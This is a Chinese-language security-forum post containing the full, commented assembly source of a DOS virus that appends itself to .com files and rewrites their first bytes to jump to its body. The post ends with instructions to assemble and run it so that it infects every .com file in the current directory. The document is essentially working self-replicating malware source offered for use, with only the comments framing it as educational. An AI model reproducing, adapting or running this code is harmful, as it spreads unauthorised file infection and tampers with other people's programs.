标题 | 简介 | 类型 | 公开时间 | ||||||||||
|
|||||||||||||
|
|||||||||||||
详情 | |||||||||||||
[SAFE-ID: JIWO-2024-253] 作者: ecawen 发表于: [2017-08-06]
本文共 [498] 位读者顶过
这个病毒恐怕是世界上最简单的病毒了,它只会感染,不会有破坏动作。
Coolest对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^ [出自:jiwo.org] VirusLength equ VirusEnd-VirusStart codeseg segment assume cs:codeseg,ds:codeseg,ss:codeseg org 100h main proc near InfectedCode db "M" db 3 dup(90h) VirusStart: call WhereIAm WhereIAm: pop si ;si指向pop si的首地址now mov bp,si add si,Original4Bytes-WhereIAm ;si指向Original4Bytes的首地址now mov di,100h movsw movsw ;恢复原来的文件头4个字节,以执行完病毒体后返回时正常 ;执行原程序 mov si,bp ;si指向pop si的首地址now mov ah,4eh Look4NextTarget: mov dx,offset Target-WhereIAm add dx,si mov cx,0 int 21h ;查找第一个com文件 jc error mov ax,3d02h mov dx,9eh int 21h jc error xchg ax,bx mov ah,3fh mov dx,si add dx,Original4Bytes-WhereIAm mov cx,4 int 21h ;保留原com文件前4个字节 mov al,'M' cmp ds:[si+Original4Bytes-WhereIAm],al jz SickOrExe ;已感染或是exe文件 mov ax,4202h xor cx,cx xor dx,dx int 21h ;移动指针到文件尾 mov di,offset FourNewBytes-WhereIAm add di,2 add di,si ;di指向0,0的第一个0 sub ax,4 ;恐怕最难明白就是这里了 ;病毒把'M' e9写进文件头两个字节里后 ;e9 wx yz被翻译为 jmp near $+2+yzwx ;ax此时为文件长度,从而 ;文件头两条指令为 ;dec bp ;jmp near (文件尾) mov ds:[di],ax add si,VirusStart-WhereIAm ;si指向VirusStart mov ah,40h mov dx,si mov cx,VirusLength int 21h ;写病毒体进文件 mov si,bp ;si指向pop si的首地址now(即WhereIAm) jc error mov ax,4200h xor cx,cx xor dx,dx int 21h ;移动文件指针到文件头 mov ah,40h mov cx,4 mov dx,si add dx,FourNewBytes-WhereIAm int 21h ;使文件执行时先跳到文件尾的病毒体执行 jc error mov ah,3eh int 21h ;关闭文件,感染完成 SickOrExe: mov ah,4fh jmp Look4NextTarget error: mov ax,100h push ax ret ;文件头四个字节已经恢复,可以正常执行原程序了 main endp Original4Bytes: ret db 3 dup(?) ;病毒初次运行时,若没找到com文件,就会 ;执行ret到psp段首 Target db "*.com",0 FourNewBytes db 'M',0e9h,0,0 VirusEnd equ $ codeseg ends end main 使用说明: 用Masm或Tasm编译,然后用Exe2Com转换为com文件,运行即可感染当前目录下的 所有com文件。 |